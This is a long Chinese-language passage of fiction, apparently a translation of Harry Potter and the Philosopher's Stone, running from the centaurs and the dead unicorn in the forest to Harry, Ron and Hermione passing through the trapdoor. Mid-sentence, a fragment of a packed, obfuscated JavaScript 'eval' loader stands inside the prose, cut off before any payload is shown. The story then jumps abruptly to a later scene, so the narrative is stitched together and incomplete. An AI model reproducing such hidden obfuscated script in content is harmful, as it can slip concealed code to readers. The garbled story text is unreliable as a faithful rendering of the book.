“晚上好,海格。”罗南说。他的声音低沉而忧伤。“你想用弓箭射我?” “不得不提高警惕,罗南,”海格说,一边拍了拍他的箭筒,“这片森林里有个坏家伙在到处活动。噢,对了,这是哈利·波特和赫敏·格兰杰,是上面那所学校里的学生。我来给你们俩介绍一下,这位是罗南,是一个马人。” “我们已经注意到了。”赫敏小声地说。 “晚上好,”罗南说,“你们是学生?在学校里学到的东西多吗?”“嗯——”“学到一点儿。”赫敏腼腆地说。“学到一点儿,好,那就很不错了。”罗南叹了口气。他仰起头,凝视着天空。 “今晚的火星很明亮。”“是啊,”海格说着,也抬头看了一眼天空,“听我说,罗南,我很高兴我们碰见了你,因为有一只独角兽受伤了——你看见了什么没有?” 罗南没有马上回答。他眼睛一眨不眨地向上凝望着,接着又叹了口气。 “总是无辜者首先受害。”他说,“几百年以来是这样,现在还是这样。” “是啊,”海格说,“可是你有没有看见什么,罗南?看见什么异常的东西?” “今晚的火星很明亮。”罗南又重复了一句,海格不耐烦地看着他。 “异常明亮。”罗南说。 “不错,可是我的意思是,在靠近咱们家的地方,有没有什么反常的情况。”海格说,“你没有注意到一些奇怪的动静吗?” 罗南还是迟迟没有回答。最后,他说:“森林里藏着许多秘密。” 罗南身后的树丛里突然有了动静,海格又举起石弓,结果那只是第二个马人,黑头发、黑身体,看上去比罗南粗野一些。 “你好,贝恩,”海格说,“近来好吗?”“晚上好,海格,我希望你一切都好。” “还可以吧。你瞧,我刚才正问罗南呢,你最近在这儿有没有看见什么古怪的东西?有一只独角兽受了伤——你知道一些情况吗?” 贝恩走过来站在罗南身边,抬头望着天空。“今晚的火星很明亮。”他就说了这么一句。 “这句话我们已经听过了。”海格暴躁地说,“好吧,如果你们谁看见了什么,就赶紧来告诉我,好吗?那么我们走吧。” 哈利和赫敏跟在他后面走出空地,一边不住地扭头望望罗南和贝恩,直到树木挡住了视线。 “唉,从马人那里总是得不到直截了当的回答。”海格恼火地说,“总是仰头看着星星,真讨厌。他们除了月亮周围的东西,对任何事情都不感兴趣。” “这里的马人多吗?”赫敏问。 “哦,有那么几个...他们大部分都跟自己的同类待在一起,不过他们心眼不错,每当我想跟他们说说话的时候,他们总能及时出现。这些马人深奥莫测...他们知道许多事情...却总是守口如瓶。” “你说,我们先前听见的动静会不会也是一个马人?”哈利问。“你觉得那像是马蹄声吗?如果你问我的话,我认为不是,那就是杀死独角兽的家伙——那种声音我以前从来没有昕见过。” 他们继续在茂密、漆黑的树林间穿行。哈利总是紧张地扭头张望。他有一种很不舒服的感觉,好像有人在监视他们。他很高兴有海格和他的石弓陪伴着他们。可是,刚拐过小路上的一个弯道,赫敏突然一把抓住海格的胳膊。 “海格!快看!红色火花,其他人有麻烦了!” “你们俩在这儿等着!”海格喊道,“待在小路上别动。我去去就来。” 他们听见他噼里啪啦地穿过低矮的灌木丛。哈利和赫敏站在那里对望着,心里非常害怕。渐渐地,海格走远了,他们只能听见周围树叶在风中沙沙作响的声音。 “你说,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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没错,那正是独角兽,它已经死了。哈利从未见过这样美丽、这样凄惨的情景。它修长的腿保持着它摔倒时的姿势,很不自然地伸直着;它的鬃毛铺在漆黑的落叶上,自得像珍珠一样。 哈利刚朝它跨近一步,突然一阵簌簌滑动的声音使他停住了脚步,呆呆地站在原地。空地边缘的一丛灌木在抖动...接着,从阴影里闪出一个戴兜帽的身影,它在地上缓缓爬行,像一头渐渐逼近的野兽。哈利、马尔福和牙牙都呆若木鸡地站在那里。那个穿着斗篷的身影来到独角兽身边,低下头去,对准那实体一侧的伤口,开始喝它的血。 “啊啊啊啊——!” 马尔福发出一声可怕的尖叫,撒腿就跑——牙牙也没命地逃走了。那戴着兜帽的身影抬起头,一眼就看见了哈利——独角兽的血滴落在它胸前。它站起身,飞快地向哈利走来——哈利吓得动弹不得。 就在这时,一阵剧痛穿透哈利的头部,这是他以前从未有过的感觉,就好像他的伤疤突然着了火一般——他视线模糊、踉踉跄跄地后退。他听见身后有马蹄小跑的声音,什么东西从他头顶上越过,朝那个身影扑去。 哈利的头疼得太厉害了,他扑通跪倒在地上。过了一两分钟才缓过劲来。当他抬起头来时,那个带兜帽的身影已经不见了。 一个马人站在他身边,不是罗南,也不是贝恩,这个马人显得更年轻些。他的头发是白金色的,长着一副银鬃马的身体。 “你没事吧?”马人把哈利拉起来,问道。 “没事——谢谢你——刚才那是什么东西?”马人没有回答。 他的眼睛蓝得惊人,像淡淡的蓝宝石。他仔细地打量哈利,目光停留在哈利前额上,那道鲜明而突出的伤疤上。 “你就是波特家的那个男孩,”他说,“你最好回到海格身边去。森林里这个时候不太安全——特别是对你来说。你会骑马吗?这样可以快一些。”“我叫费伦泽。”他又补充了一句,一边弯下前腿,把身体放低,让哈利爬到他的背上。 突然,从空地另一边又传来了更多的马蹄声。罗南和贝恩从树丛中冲了出来,腹胁处剧烈地起伏着,汗珠淋漓。 “费伦泽!”贝恩怒吼道,“你在做什么?你让一个人骑在你背上!你不觉得丢脸吗?难道你是一头普通的骡子?” “你们有没有看清这是谁?”费伦泽说,“这是波特家的那个男孩。得让他赶紧离开这片森林,越快越好。” “你都跟他说了些什么?”贝恩气冲冲地说,“记住,费伦泽,我们是发过誓的,绝对不能违抗天意。难道我们没有看出行星的运行所显示的预兆吗?” 罗南不安地用蹄子刨着地上的土,“我相信费伦泽认为他这么做完全是出于好意。”罗南用他那忧伤的声音说道。 “出于好意!那件事和我们有什么关系?马人关心的是星象的预言!我们没必要像驴子一样,跟着在我们森林里迷路的人类后面乱跑!” 费伦泽气得突然用后腿直立起来,哈利只好紧紧抓住他的肩膀,才没有被摔下来。 “你们没有看见那只独角兽吗?”费伦泽咆哮着对贝恩说,“你们不明白它为什么被杀死了吗?还是行星没有向你们透露这个秘密?我一定要抵抗那个潜伏在我们森林里的家伙,贝恩。是的,如果必要的话,我要和人类站在一边。” 费伦泽说完,轻盈地转过身去;哈利紧紧地贴在他身上,他们向树林深处冲去,把罗南和贝恩撇在后面。 哈利完全不明白是怎么回事。 “贝恩为什么这么生气?”他问,“还有,刚才那是什么东西,你把我从它手里救了出来?” 费伦泽放慢脚步,提醒哈利把头低下,躲开那些低垂的树枝,但他对哈利的问题却避而不答。 他们默默地在树林间穿行,许久没有说话,哈利还以为费伦泽不愿意再跟他说话了呢。然而,就在他们穿过一片特别茂密的树丛时,费伦泽突然停下了脚步。 “哈利·波特,你知道独角兽的血可以做什么用吗?” “不知道,”哈利听到这个古怪的问题,不由吃了一惊,说道,“我们在魔药课上只用了它的角和尾巴毛。” “这是因为杀死一只独角兽是一件极其残暴的事。”费伦泽说,“只有自己一无所有,又想得到一切的人,才会犯下这样的滔天大罪。独角兽的血可以延续你的生命,即使你已经奄奄一息,但是你必须为此付出惨重的代价。你为了挽救自己的生命,屠杀了一个纯洁的、柔弱无助的生命,所以从它的血碰到你嘴唇的那一刻起,你拥有的将是一条半死不活的生命,一条被诅咒的生命。” 哈利望着费伦泽的后脑勺,它在月光下闪着银色的斑点。 “可是,那个亡命徒是谁呢?”哈利大声说出自己的疑问,“如果一辈子都要受到诅咒,那还不如死掉,是吗?” “不错,”费伦泽表示赞同,“除非你只是用它拖延你的生命,好让你能够喝到另一种东西——一种使你完全恢复精力和法术的东西——一种使你长生不老的东西。波特先生,你知道此刻是什么东西藏在学校里吗?” “魔法石!当然啦——长生不老药!但我不明白是谁——” “你难道想不到吗,有谁默默地等了这么多年,渴望东山再起?有谁紧紧抓住生命不放,等候时机?” 一时间,就好像一只铁爪突然攫住了哈利的心脏。在风吹树叶的沙沙声中,他仿佛又一次听见海格在他们初次见面的那天晚上所说的话:“有人说他死了。我认为纯粹是胡说八道。他身上恐怕已经没有多少人性了,所以也就不可能去死。” “难道你是说,”哈利用低沉而沙哑的声音说,“是伏地——” “哈利!哈利,你没事吧?” 赫敏沿着小路向他们跑来,海格气喘吁吁地跟在后面。 “我很好,”哈利说,他简直不知道自己在说什么,“独角兽死了,海格,就在那边的空地上。” “我就把你留在这儿吧,”费伦泽在海格赶去查看独角兽时低声说,“你现在没有危险了。” 哈利从他背上滑下来。 “祝你好运,哈利·波特。”费伦泽说,“以前,命运星辰就曾被人误解过,即使马人也免不了失误,我希望这次也是这样。” 他转过身,撇下浑身发抖的哈利,慢慢跑回了森林深处。 罗恩在黑暗的公共休息室里等他们回来,不知不觉睡着了。 当哈利粗暴地摇醒他时,他嘴里嚷嚷着一些魁地奇比赛犯规之类的话。不过,几秒钟后,他就完全清醒过来,睁大眼睛,专心地听哈利对他和赫敏讲述森林里发生的事情了。 哈利激动得坐不下来。他在炉火前踱来踱去,身上仍然在发抖。 “斯内普要替伏地魔弄到魔法石...伏地魔在森林里等着...我们还以为斯内普只是想靠魔法石发财...” “别再说那个名字了!”罗恩惊慌地小声说,仿佛担心伏地魔会听见似的。 哈利不听他的,“费伦泽救了我,他不应该这样做的...贝恩非常恼火...说什么这样会扰乱命运星辰预示的事情...星象一定显示了伏地魔要卷土重来...贝恩认为费伦泽应该让伏地魔杀死我...我猜想那也在星象中显示着呢。” “你能不能别再说那个名字!”罗恩压低了声音说。 “所以我现在只能等着斯内普去偷魔法石,”哈利极度兴奋地继续往下说,“然后伏地魔就上这儿来,把我给杀掉...好,我想这下子贝恩该高兴了。” 赫敏显得非常害怕,但她仍然想出话来安慰哈利。 “哈利,大家都说,神秘人一直害怕的只有邓布利多。有邓布利多在这里,神秘人不会伤你一根毫毛的。而且,谁说马人的话就一定正确?我觉得那一套听上去像是算命,麦格教授说,那是一类很不精确的魔法。” 天色渐渐发亮了,他们才停止了谈话,嗓子又干又痛,精疲力竭地上床睡觉。 然而,这晚上还有一个意外在等着他呢。 哈利拉开床单时,发现他的隐形衣叠得整整齐齐的,放在床单下面。隐形衣上还别了一张纸条,写着:以防万一。 17. 越过活板门 哈利恐怕永远也记不清,他是怎样通过那些考试的,因为当时他整天提心吊胆,随时提防着伏地魔破门而入。不过随着时间一天天地过去,似乎路威仍然在那扇紧锁的门后面,安然无恙地活着。 天气十分闷热,他们答题的大教室里更是热得难受。老师发给他们专门用于考试的新羽毛笔,都是念了防作弊的咒语的。 另外还有实际操作的考试。弗立维教授叫他们挨个儿走进教室,看他们能不能使一只凤梨跳着踢踏舞走过一张书桌。 麦格教授看着他们把一只老鼠变成一个鼻烟盒——盒子越精美,分数就越高;如果盒子上还留着老鼠的胡须,就要扣分。 考魔药学时,他们拼命回忆遗忘药水的调配程序。斯内普站在背后密切注视着,他们脖子后面都能感觉到他的呼吸,这使他们心里非常紧张。 哈利全心全意地投入考试,尽量忘记前额上剧烈的刺痛。自从他上次从森林里回来,这种疼痛的感觉就一直纠缠着他。 纳威看到哈利整夜睡不好觉,以为他患了严重的考试恐惧症。 实际上,哈利是不断被过去的那个噩梦惊醒,而且现在比过去更糟,因为噩梦里又多了一个戴着兜帽、嘴角滴着鲜血的身影。 罗恩和赫敏倒并不像哈利这样整日为魔法石担心,这也许是因为他们没有看见哈利在森林里遭遇的情景,也许是因为他们的前额上没有那道烧灼般疼痛的伤疤。 伏地魔确实令他们害怕,但他只是一个抽象的概念,并没有来纠缠他们的梦境,而且他们整天忙着复习功课,也没有时间去操心斯内普或其他什么人可能会采取什么行动。 最后一门考的是魔法史。只要再坚持一个小时,回答出是哪几个古怪的老巫师发明了自动搅拌坩埚,他们就自由了,就可以轻轻松松地玩上整整一个星期,直到考试成绩公布。 当宾斯教授的幽灵叫他们放下羽毛笔把答题的羊皮纸卷起来时,哈利忍不住和其他同学一道欢呼起来。 “比我原先以为的容易多了,”当他们随着人群一起来到外面阳光灿烂的场地上时,赫敏说道,“我其实不需要去记‘一六三七年的狼人行为准则’,以及小精灵叛乱的经过。” 赫敏总喜欢在考完之后再重温一遍考试内容,但罗恩说这使他感到恶心。于是他们慢悠悠地顺坡而下,来到湖边,扑通一声坐在树下。那边,一只大鱿鱼躺在温暖的浅水里晒太阳,韦斯莱孪生兄弟和李·乔丹正在轻轻拨弄它的触须。 “多好啊,再也不用复习了。”罗恩快活地吐了口气,伸展四肢躺在草地上。“哈利,高兴一点嘛,一个星期以后我们才会知道考得多么糟糕,没必要现在就为这个操心。” 哈利揉着他的前额。 “我真想知道这是什么意思!”他突然恼火地说,“我的伤疤一直在疼——以前曾经疼过,但从来不像现在这样频繁发作。” “去找庞弗雷夫人看看吧。”赫敏提议道。 “我没有生病,”哈利说,“我认为这是一个警告...意味着危险即将来临...” 罗恩打不起精神来,天气实在太热了。 “哈利,放松一点儿,赫敏说得对,只要有邓布利多在,魔法石就不会有危险。不管怎么说,我们没有发现任何证据,能够确定斯内普打听到了制服路威的办法。他上次差点被咬断了腿,不会匆匆忙忙再去冒险尝试的。如果连海格都背叛了邓布利多,那么纳威就可以入选英格兰魁地奇球队了。” 哈利点了点头,但他怎么也摆脱不了一种隐隐约约的感觉,似乎他忘了做一件事,一件非常重要的事。 当他想对两个朋友解释这种感觉时,赫敏说:“这都是考试在作怪。我昨天夜里醒来,忙着复习变形课的笔记,然后才突然想起来,那门课我们已经考过了。” 然而,哈利可以确定,那种不安的感觉与考试没有丝毫关系。 他望着一只猫头鹰扑扇着翅膀掠过蔚蓝色的天空,往学校的方向飞去,嘴里叼着一张纸条。 只有海格一个人给他写过信。海格是永远不会背叛邓布利多的。海格决不会告诉任何人制服路威的办法...决不会的...可是——哈利突然一跃而起。 “你到哪儿去?”罗恩带着困意问。 “我突然想起了一件事。”哈利说。他的脸色变得煞白。“我们必须马上去找海格。” “为什么?”赫敏喘着气问,竭力赶上他。 “你们难道不觉得有些奇怪吗?”哈利一边匆匆跑下草坡,一边说道,“海格最希望得到的是一条龙,而一个陌生人的口袋里偏巧就装着一只龙蛋?有多少人整天带着龙蛋走来走去?要知道那是违反巫师法律的呀!你们难道不觉得,他们能找到海格不是太幸运了吗?我怎么以前没有想到这点呢?” “你到底想做什么?”罗恩问,但是哈利只顾飞跑着穿过场地,往森林的方向奔去,没有回答他的问题。 海格坐在小屋外面的一把椅子上,裤管高高地挽起,对着一只大碗,忙着剥豌豆荚。 “你好,”他笑着说,“考试结束了?有时间喝杯茶吗?” “好的,谢谢。”罗恩说,可是哈利打断了他。 “不了,我们有急事。海格,我有一件事要问你。你还记得你玩牌赢得诺伯的那天晚上吗?和你一起玩牌的那个陌生人长得什么样儿?” “不知道,”海格漫不经心地说,“他不肯脱掉他的斗篷。” 他看见三个孩子脸上立刻显出惊愕的神情,不由吃惊地扬起了眉毛。 “这有什么好奇怪的,猪头酒吧——就是村里的那个酒吧,总是有一些稀奇古怪的家伙光顾。那家伙兴许是个卖龙的小贩吧。我一直没有看清他的脸,他戴着兜帽呢。” 哈利扑通跌坐在那一碗豌豆旁边。 “你当时跟他说了什么,海格?你提到霍格沃茨没有?” “兴许提到了吧。”海格皱着眉头使劲回忆,“对了...他问我是做什么的,我就告诉他我是这里的狩猎场看守...他又稍微问了问我照看的是哪些动物…我就告诉他了...然后我说我一直特别想要一条龙...后来...我记不太清了,他不停地买酒给我喝…让我再想想...对了,后来他说他手里有一颗龙蛋,如果我想要,我们可以玩牌赌一赌...但他必须弄清我有没有能力对付这条龙,他可不希望龙到时候跑出去惹是生非...于是我就对他说,我连路威都管得服服帖帖,一条龙根本不算什么...” “他是不是显得——显得对路威很感兴趣?”啥利问,竭力使自己的口吻保持平静。 “没错——挺感兴趣的——你能碰到几只三个脑袋的狗呢,即使在霍格沃茨附近?所以我就告诉他,路威其实很容易对付,你只要知道怎样使它安静下来,放点音乐给它听听,它就马上睡着了——” 海格脸上一下子露出惊恐的表情。 “我不应该把这个告诉你们的!”他脱口说道,“把我说的话忘掉吧!喂——你们上哪儿去?” 哈利、罗恩和赫敏一路上没有交换一句话,一直跑进门厅才停住脚步。刚从外面的场地上进来,门厅里显得格外阴冷、黑暗。 “我们必须去找邓布利多,”哈利说,“海格把制服路威的方法告诉了一个陌生人,那个穿斗篷的不是斯内普,就是伏地魔——他只要把海格灌醉了,就很容易套出他的话来。我只希望邓布利多能相信我们。如果贝恩不出来阻拦,费伦泽是会为我们作证的。邓布利多的办公室在哪里?” 他们环顾四周,似乎指望着看到一个指示牌为他们指点方向。从来没有人告诉他们邓布利多住在哪里,他们也不知道有谁曾被带去见过校长。 “我们只好——”哈利的话没说完,门厅那头突然响起一个声音。 “你们三个待在屋里做什么?” 是麦格教授,怀里抱着一大摞书。 “我们想见邓布利多教授。”赫敏说。哈利和罗恩认为她的表现非常勇敢。 “想见邓布利多教授?”麦格教授重复了一句,似乎他们有这样的想法是非常可疑的。“为什么?” 哈利咽了一口唾沫——怎么说呢? “这是一个秘密。”话一出口,他立刻就希望自己没有这么说,因为麦格教授生气了,她的鼻翼扇动着。 “邓布利多教授十分钟前离开了。”她冷冰冰她说,“他收到猫头鹰从魔法部送来的紧急信件,立刻飞往伦敦去了。” “他走了?”哈利万分焦急地说,“在这个时候?” “邓布利多教授是一个非常了不起的巫师,日理万机,时间宝贵——” “可是这件事非常重要。” “你们要说的事比魔法部还重要吗,哈利?” “是这样,”哈利说,他把谨慎抛到了九霄云外,“教授——是关于魔法石的——” 麦格教授无论如何也没有想到会是这件事。她怀里的书稀里哗啦地掉到地板上,她没有去捡。 “你们怎么知道——”她结结巴巴地问。 “教授,我认为——我知道——斯内——有人试图去偷魔法石。我必须和邓布利多教授谈谈。” 麦格教授用交织着惊愕和怀疑的目光看着他。 “邓布利多教授明天回来。”她最后说道,“我不知道你是怎么打听到魔法石的,不过请放心,没有人能够把它偷走,它受到严密的保护,万无一失。” “可是教授——” “波特,我知道自己在说什么。”她不耐烦地说,然后弯下腰去,拾起掉在地上的书。“我建议你们到户外去晒晒太阳。” 但是他们没有这么做。 “就在今晚,”哈利确定麦格教授走远了听不见时,便赶紧说道,“斯内普今晚就要穿过活板门了。他所需要的东西都弄到了,现在又把邓布利多骗离了学校。那封信准是他送来的,我敢说魔法部看到邓布利多突然出现,一定会大吃一惊的。” “可是我们能有什么——” 赫敏猛地吸了一口冷气。哈利和罗恩转过身来。 斯内普站在那里。 “下午好。”他用圆滑的口吻说。 他们呆呆地盯着他。 “在这样的天气,你们不应该待在屋里。”他说,脸上肌肉扭曲,露出一个古怪的笑容。“我们刚才在——”哈利说,其实他也不知道自己要说什么。 “你们需要小心一些,”斯内普说,“像这样到处乱逛,别人会以为你们想干什么坏事呢。格兰芬多可经不起再丢分了,是吗?”哈利脸红了。他们转身朝外面走,可是斯内普又把他们叫了回去。“提醒你一句,波特——如果你再在半夜三更到处乱逛,我要亲自把你开除。祝你愉快。” 他大步朝着教工休息室的方向走去。 三个人一来到外面的石阶上,哈利就对罗恩和赫敏说:“好吧,我们现在必须这么做,”他急切地小声说,“一个人负责监视斯内普——等在教工休息室外面,如果他出来,就跟着他。赫敏,这件事最好由你来办。” “为什么是我?” “那还用说,”罗恩说,“你可以假装在等弗立维教授。”他装出一种尖细的女声,“哦,弗立维教授,我太担心了,我觉得我第十四题选B可能选错了...” “呸,闭嘴。”赫敏说,但她还是同意去盯住斯内普。 “我们俩最好待在四楼的走廊外面。”哈利对罗恩说,“走吧。” 但是这一部分计划没有执行成功。他们刚来到那道把路威与学校其他地方隔开的门口,麦格教授就突然出现了,这次她忍不住大发脾气。 “我想,你们大概以为自己比一大堆魔法咒语还要厉害吧?”她咆哮着说,“够了,别胡闹了!如果下次我听说你们又跑到这儿来,就要给格兰芬多扣掉五十分!是的,韦斯莱,给我自己的学院扣掉五十分!” 哈利和罗恩灰溜溜地返回公共休息室。哈利刚说了一句“至少有赫敏盯着斯内普呢”,就看见胖夫人的肖像猛地转开,赫敏钻了进来。 “对不起,哈利!”她呜咽着说,“斯内普出来了,他问我在那里做什么,我说我在等弗立维。斯内普就去找他,我只好赶紧跑开了。我不知道斯内普现在去哪儿了。” “好吧,看来只能这样了,是吧?”哈利说。赫敏和罗恩都盯着他,只见他脸色苍白,眼睛炯炯发亮。“我今晚偷偷从这里溜出去,我要争取先把魔法石弄到手。” “你疯了!”罗恩说。“你不能这样做!”赫敏说,“你没听见麦格和斯内普说的话吗?你会被开除的!” “那又怎么样?”哈利大声说,“你们难道不明白吗?如果斯内普弄到了魔法石,伏地魔就会回来!你们难道没有听说,当年他想独霸天下时,这里是个什么,情形吗?如果让他得手,霍格沃茨就不会存在了,也就无所谓开除不开除了!他会把学校夷为平地,或者把它变成一所专门传授黑魔法的学校!你们难道看不出来,现在丢不丢分已经无关紧要了!你们难道以为,只要格兰芬多赢得了学院杯,他就会放过你和你的全家吗?如果我没来得及拿到魔法石就被抓住了,那么,我就只好回到德思礼家,等着伏地魔到那儿去找我。那也只是比现在晚死一点而已,因为我是绝不会去投靠黑势力的!我今晚一定要穿过那道活板门,你们俩说什么都拦不住我!伏地魔杀死了我的父母,记得吗?” 他气冲冲地瞪着他们。 “你是对的,哈利。”赫敏细声细气地说。 “我要用上我的隐形衣,”哈利说,“幸亏我又把它找了回来。” “但是它能把我们三个人都罩住吗?” “我们——我们三个人?” “哦,别傻了,你难道以为我们会让你单独行动吗?” “当然不会,”赫敏泼辣地说,“你怎么会想到撇下我们,独自一个人去找魔法石呢?我最好去翻翻我的那些书,也许能找到一些有用的东西...” “可是如果我们被抓住了,你们两个也会被开除的。” “也许不会,”赫敏十分坚决地说,“弗立维偷偷告诉我说,我在他那门功课的考试中得了一百一十二分。这么高的分数,他们是舍不得把我赶走的。” 吃过晚饭,他们三个紧张地避开别人,坐在公共休息室里。没有人来理会他们;实际上,格兰芬多的学生们现在都没有话要对哈利说了。很多天来,这是哈利第一次不为这件事感到难过。赫敏忙着翻阅她所有的笔记,希望能碰巧看到一条他们待会儿要去解除的魔咒。哈利和罗恩很少开口说话,心里都在想着他们即将要做的事情。 同学们一个个地上床睡觉去了,公共休息室里的人渐渐减少。 “可以去拿隐形衣了。”罗恩说。这时,李·乔丹也终于伸着懒腰、打着哈欠离去了。哈利跑到楼上,冲进他们漆黑的宿舍,取出隐形衣,就在这时,他无意间看见了圣诞节时海格送给他的那支笛子。他把笛子装进口袋,准备用它去对付路威——他觉得自己没有心情唱歌给那只大狗昕。 他快步跑回公共休息室。“我们最好在这里就穿上隐形衣,看看它是不是能把我们三个人都遮住——如果费尔奇看见一双脚自己在地上走——” “你们在做什么?”房间的一个角落响起了一个人的声音。纳威从一把扶手椅后面闪了出来,手里抓着他的那只癞蛤蟆莱福。看样子,刚才莱福又为获得自由而抗争了一番。 “没什么,纳威,没什么。”哈利说着,赶紧把隐形衣藏在背后。 纳威盯着他们做贼心虚的脸。 “你们又打算出去。”他说。 “没有,没有,”赫敏说,“我们才不想出去呢。纳威,你为什么不去睡觉呢?”哈利看了看门边的那台老爷钟。他们不能再耽搁时间了,斯内普大概已经在奏音乐,哄路威入睡了。 “你们不能出去,”纳威说,“你们还会被抓住的。那样的话,格兰芬多可就变得更倒霉了。” “你不明白,”哈利说,“这件事非常重要。” 可是纳威这次像是铁了心,不顾一切地要阻拦他们。 “我不让你们这样做。”他说着,赶过去挡在肖像洞口前面,“我要——我要跟你们较量一下!” “纳威,”罗恩勃然大怒,“快从那洞口闪开,别做一个碍事精!” “不许你叫我碍事精。”纳威说,“我认为你们不应该再违反校规了!而且当初是你们鼓励我勇敢地反抗别人的!” “没错,但不是反抗我们呀。”罗恩气急败坏地说,“纳威,你根本不知道你在做什么。” 他向前跨了一步,纳威扔掉手里的癞蛤蟆菜福,那小东西三跳两跳就不见了。 “来吧,过来打我呀!”纳威举起两只拳头,说道。“我准备好了!” 哈利转向赫敏。“想想办法吧。”他焦急地说。赫敏走上前来。 “纳威,”她说,“这么做我真是非常非常的抱歉。”她举起魔杖。“统统——石化!” 她把魔杖对准纳威,大喊一声。纳威的手臂啪地贴在身体两侧,双腿立正,站得笔直。他的整个身体变得僵硬了,原地摇摆了几下,便扑通一声扑倒在地,看上去像木板一样硬邦邦的。 赫敏跑过去把他翻转过来。纳威的上下牙床锁在一起,说不出话来。只有他的眼珠在转动,惊恐地望着他们。 “你把他怎么了?”哈利小声问道。 “这是全身束缚咒。”赫敏难过地说,“哦,纳威,我真是太抱歉了。” “你以后会明白的,纳威。”罗恩说,然后他们从纳威身上跨过去,穿上了隐形衣。 可是,撇下纳威动弹不得地躺在地板上,他们总觉得这不是一个好兆头。在情绪高度紧张的情况下,阴影里的每一座雕塑都像是费尔奇的身影,而远处传来的每一丝风声,听上去都像是皮皮鬼在朝他们猛扑过来。 就在他们准备登上第一道楼梯时,突然看见洛丽丝夫人躲藏在楼梯顶层。 “哦,我们踢它一脚吧,就踢这一次。”罗恩在哈利耳边悄悄说,可是哈利摇了摇头。他们小心地绕过它,洛丽丝夫人用两只贼亮亮的眼睛朝他们望来,但是什么也没有看见。 他们一路没有碰到一个人,顺利地来到通往四楼的楼梯口。只见皮皮鬼正蹦蹦跳跳地往楼上走,一边把楼梯上铺的地毯扯松,想害得别人摔倒。 “那边是谁?”他们踏上楼梯,迎面向他走去时,皮皮鬼突然眯起那双总喜欢恶作剧的黑眼睛说道,“我知道你就在那儿,虽然我看不见。你是食尸鬼,还是还魂鬼,还是学生小鬼头?” 他升到半空中停住,眯起眼朝他们这边望着。 “有个看不见的东西在这里鬼鬼祟祟地乱蹿,我应该去向费尔奇汇报。”哈利灵机一动,有了个主意。 “皮皮鬼,”他用嘶哑的声音轻轻说,“血人巴罗不想被别人看见,自然是有他的道理的。” 皮皮鬼大吃一惊,差点从空中摔下来。他及时稳住身子,在楼梯上方一英尺的地方盘旋着。 “对不起,血人大人,巴罗先生,爵爷,”他甜言蜜语地说,“都怪我,都怪我——我没有看见您——我当然看不见,您隐形了嘛——请原谅小皮皮鬼的这个小小玩笑吧,爵爷。” “我在这里有事要办,皮皮鬼,”哈利低声吼道,“今晚不许再到这里来。” “遵命,爵爷,我一定遵命。”皮皮鬼说着,又重新升到空中。“希望您事情办得顺利,巴罗大人,我就不打扰您了。”他说完便飞快地逃走了。 “真精彩,哈利!”罗恩小声说。 几秒钟后,他们就来到了四搂的走廊外面——那扇门已经开了一道缝。 “怎么样。看到了吧,”哈利悄声说道,“斯内普已经顺利通过了路威。” 看到那扇半开的门,他们似乎更明确地意识到了他们即将面临的一切。哈利在隐形衣下对罗恩和赫敏说:“如果你们现在想打退堂鼓,我不会怪你们的。”他说,“你们可以把隐形衣带走,我已经不需要它了。” “别说傻话。”罗恩说。 “我们一起去吧。”赫敏说。哈利把门推开了。 随着吱吱嘎嘎的开门声,他们耳边立刻响起了低沉的狂吠。大狗虽然看不见他们,但它那三个鼻子全朝着他们这边疯狂地抽动、嗅吸着。“它脚边那是什么东西?”赫敏小声问道。 “看样子像是一把竖琴,”罗恩说,“肯定是斯内普留下来的。” “显然只要音乐一停止,它就会马上醒来。”哈利说,“好吧,你听着吧...” 他把海格的笛子放到嘴边,吹了起来。他吹得不成调子,但他刚吹出第一个音符,大狗的眼皮就开始往下耷拉。哈利几乎是不歇气地吹着。慢慢地,大狗的狂吠声停止了——它摇摇摆摆地晃了几晃,膝盖一软跪下了,然后就扑通倒在地板上,沉沉睡去。 “接着吹,别停下。”罗恩提醒哈利,与此同时,他们脱去隐形衣,蹑手蹑脚地朝活板门走去。他们靠近那三只巨大的脑袋时,可以感觉到大狗那热乎乎、臭烘烘的气息。 “我想我们可以把活板门拉开了。”罗恩说,一边望着大狗的身后, “赫敏,你愿意第一个下去吗?” “不,我可不愿意!” “好吧。”罗恩咬了咬牙,小心地从大狗的腿上跨过去。他弯下腰,拉动活板门上的拉环,门一下子敞开了。 “你能看见什么?”赫敏着急地问道。 “什么也看不见——一片漆黑——也没有梯子可以下去,我们只好跳了。” 哈利一边仍在吹着笛子,一边朝罗恩挥了挥手,引起他的注意,又甩手指了指自己。 “你想第一个下去?真的吗?”罗恩说,“我不知道这个洞有多深。把笛子给赫敏,让她继续哄大狗睡觉。” 哈利把笛子递了过去。在音乐停顿的这几秒钟里,大狗又咆哮起来,并开始扭动身子,可是赫敏刚把笛子吹响,它就又沉沉地睡过去了。哈利从大狗身上爬过去,透过那个洞口往下看。下面深不见底。 他慢慢顺着洞口滑下去,最后只靠十个手指攀住洞口边缘。他抬头看着罗恩说:“如果我出了什么意外,你们别跟着下来。直接到猫头鹰住的棚屋,派海德薇给邓布利多送信,行吗?” “好吧。”罗恩说。 “过会儿见,我希望...” 哈利松开了手,寒冷、潮湿的空气在他耳边呼呼掠过。他向下坠落,坠落,坠落,然后——扑通。随着一声奇怪而沉闷的撞击声,哈利落到了一个柔软的东西上面。他坐起来,朝四下里摸索着。他的眼睛还没有适应这里昏暗的光线。他觉得自己仿佛是坐在某种植物上面。 “没问题!”他冲着洞口喊道,现在洞口看上去只是邮票大小的一块光斑。“是软着陆,你们可以跳了!” 罗恩紧接着就跳了下来。他四肢着地,落在哈利身边。 “这是什么玩意儿?”他一开口就问。 “不知道,好像是一种植物。大概是铺在这里减轻坠落时的碰撞的。来吧,赫敏!” 远处的笛声停止了。大狗又发出了响亮的狂吠,但是赫敏已经跳下来了。她降落在哈利的另一边。 “我们一定离学校很远很远了。”她说。 “说实在的,幸好有这堆植物铺在这里。”罗恩说。 “幸好什么!”赫敏尖叫起来,“看看你们两个!” 她猛地跳起来,挣扎着朝一面潮湿的墙壁移动。她之所以这样挣扎,是因为她刚一落下,那植物就伸出蛇一般的卷须,缠绕住她的脚踝。而哈利和罗恩呢,他们不知不觉中已经被长长的藤蔓缠住了双腿。 赫敏在藤蔓还没来及把她牢牢抓住之前,总算挣脱了出去。此刻她惊恐地看着两个男孩拼命扯掉那些藤蔓,但是他们越是挣脱,藤蔓就缠得越快、越紧。 